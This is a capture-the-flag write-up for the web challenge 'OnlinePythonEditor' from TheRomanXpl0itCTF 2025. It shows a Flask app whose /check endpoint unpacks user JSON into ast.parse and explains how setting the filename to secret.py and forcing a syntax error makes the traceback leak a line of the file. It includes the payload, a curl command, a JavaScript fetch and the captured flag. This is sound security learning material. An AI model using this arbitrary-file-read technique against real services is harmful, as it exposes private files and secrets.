Contents

๐ŸŒ Online Python Editor

A detailed write-up of the Web challenge 'OnlinePythonEditor' from TheRomanXpl0itCTF - 2025

/images/TheRomanXpl0itCTF-2025/OnlinePythonEditor/challenge_presentation.png
Challenge Presentation

๐Ÿ“Š Challenge Overview

Category Details Additional Info
๐Ÿ† Event TheRomanXpl0itCTF - 2025 Event Link
๐Ÿ”ฐ Category Web ๐ŸŒ
๐Ÿ’Ž Points 500 Out of 500 total
โญ Difficulty ๐ŸŸก Medium Personal Rating: 4/10
๐Ÿ‘ค Author Unknown Profile
๐ŸŽฎ Solves (At the time of flag submission) 53 solve rate
๐Ÿ“… Date 22-02-2025 TheRomanXpl0itCTF - 2025
๐Ÿฆพ Solved By jaco Team: aetruria

๐Ÿ“ Challenge Information

If you’re tired of fast and good-looking editors, try this. Now with extra crispiness! http://python.ctf.theromanxpl0.it:7001

๐ŸŽฏ Challenge Files & Infrastructure

Provided Files

Files:

๐Ÿ” Initial Analysis

First Steps

Initially, the website appears as follows:

/images/TheRomanXpl0itCTF-2025/OnlinePythonEditor/site_presentation.png
Site Presentation

I didn’t find anything interesting here, so I decided to read the attached files. This is secret.py.

1
2
3
4
5
6
7

  def main():
ย  ย  print("Here's the flag: ")
ย  ย  print(FLAG)
FLAG = "TRX{fake_flag_for_testing}"
 
main()

e questo app.py:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
import ast
import traceback
from flask import Flask, render_template, request  

app = Flask(__name__)  

@app.get("/")
def home():
ย  ย  return render_template("index.html")
 
@app.post("/check")
def check():
ย  ย  try:
ย  ย  ย  ย  ast.parse(**request.json)
ย  ย  ย  ย  return {"status": True, "error": None}
ย  ย  except Exception:
ย  ย  ย  ย  return {"status": False, "error": traceback.format_exc()}
if __name__ == '__main__':
ย  ย  app.run(debug=True)

As we can see, this is a Flask application. The first thing I thought of was a vulnerability related to debug=True, since sometimes it can expose a console when an exception is raised, which can lead to an RCE, but I found out that this wasn’t the case. After doing a couple of searches, I discovered that the vulnerability is actually in this line here:

1
 ast.parse(**request.json)

(including the try-except). After studying the function (https://docs.python.org/3/library/ast.html#ast.parse), I discovered that itโ€™s like using the compile() function. This function has the syntax compile(_source_, _filename_, _mode_, _flag_, _dont_inherit_, _optimize_), so we can specify source (the code to compile), filename (the filename of the file from which the code comes), and mode (which specifies the format of the source: multiline, single-line, or single expression). Given the **request.json, specifying ** performs a dictionary unpacking (breaking down the dictionary into function arguments). So, we can specify the arguments of the ast.parse() function via a json payload, like: {"source": "", "mode": "", "filename": ""}. Now that we understand the vulnerability and how to exploit it, letโ€™s move on to the exploitation phase.

๐Ÿ”ฌ Vulnerability Analysis

Potential Vulnerabilities

  • Arbitrary File Read

๐ŸŽฏ Solution Path

Exploitation Steps

Initial setup

To exploit this vulnerability, we need to specify filename:secret.py (with mode:exec, even though itโ€™s not strictly necessary for the final payload), which is the file containing the flag we want to read, resulting in an initial payload:

{"source": "", "mode": "exec", "filename": "secret.py"}

Now let’s move on to the next phase.

Exploitation

The new phase consists of specifying the source field. To obtain a leak of the line containing the flag, we can specify \n as many times as there are lines before the one containing the flag: source:\n\n\n\n\n (since itโ€™s on the fifth line). However, with this payload, we wonโ€™t get anything except: {"status": True, "error": None}. This is where we need to exploit the try by raising an exception. In fact, we will get the entire stack trace due to the line of code: return {"status": False, "error": traceback.format_exc()}. This will allow us to read line \n\n\n\n\n (line 6) of the secret.py file. Indeed, when filename is specified, a read() operation is performed on the specified file, and through the source parameter, we can “navigate” or “write” the code of the secret.py file in this case. So, with \n, we “navigate” to line 6 (the one containing the flag), and then raise an exception to obtain the leak and read it. We can do this, for example, by adding a + or any character that would generate an exception. This results in the final payload:

{"source": "\n\n\n\n\n+", "mode": "exec", "filename": "secret.py"}

which we will send to the /check endpoint, for example, with curl:

1
curl -X POST http://python.ctf.theromanxpl0.it:7001/check -H "Content-Type: application/json" -d '{"source": "\n\n\n\n\n+", "mode": "exec", "filename": "secret.py"}'

or by directly using JavaScript code through the ChromeDevTools console, for example:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
fetch("http://python.ctf.theromanxpl0.it:7001/check", {
  method: "POST",
  headers: {
      "Content-Type": "application/json"
  },
  body: JSON.stringify({
      "source": "\n\n\n\n\n+",
      "filename": "secret.py",
  })
})
.then(response => response.text())
.then(data => {
  document.body.innerHTML = data;
  console.log(data);
})
.catch(error => console.error("Errore:", error));

By doing this, we can obtain the stack trace directly on the page by making a fetch (but this is an extra step thatโ€™s not necessary for solving the challenge). After doing so, we will get the stack trace as a response, and within it, the flag (the line from the secret.py file specified using \n).

Flag capture

/images/TheRomanXpl0itCTF-2025/OnlinePythonEditor/manual_flag.png
Manual Flag

๐Ÿ› ๏ธ Exploitation Process

Approach

The automatic exploit makes a POST request to /check with the payload, as done in the manual exploitation, and extracts the flag from the response using a regex.

๐Ÿšฉ Flag Capture

Flag

TRX{4ll_y0u_h4v3_t0_d0_1s_l00k_4t_th3_s0urc3_c0d3}

Proof of Execution

/images/TheRomanXpl0itCTF-2025/OnlinePythonEditor/automated_flag.png
Automated Flag
Screenshot of successful exploitation

๐Ÿ”ง Tools Used

Tool Purpose
Python Exploit

๐Ÿ’ก Key Learnings

New Knowledge

I have learned that with the compile() or ast.parse() function, it is possible to achieve an Arbitrary File Read by specifying the filename parameter and triggering an exception if there is a possibility of reading the stacktrace.

Skills Improved

  • Binary Exploitation
  • Reverse Engineering
  • Web Exploitation
  • Cryptography
  • Forensics
  • OSINT
  • Miscellaneous

๐Ÿ“Š Final Statistics

Metric Value Notes
Time to Solve 01:47 From start to flag
Global Ranking (At the time of flag submission) 17/441 Challenge ranking
Points Earned 500 Team contribution

Created: 22-02-2025 โ€ข Last Modified: 22-02-2025 *Author: mH4ck3r0n3 โ€ข Team: aetruria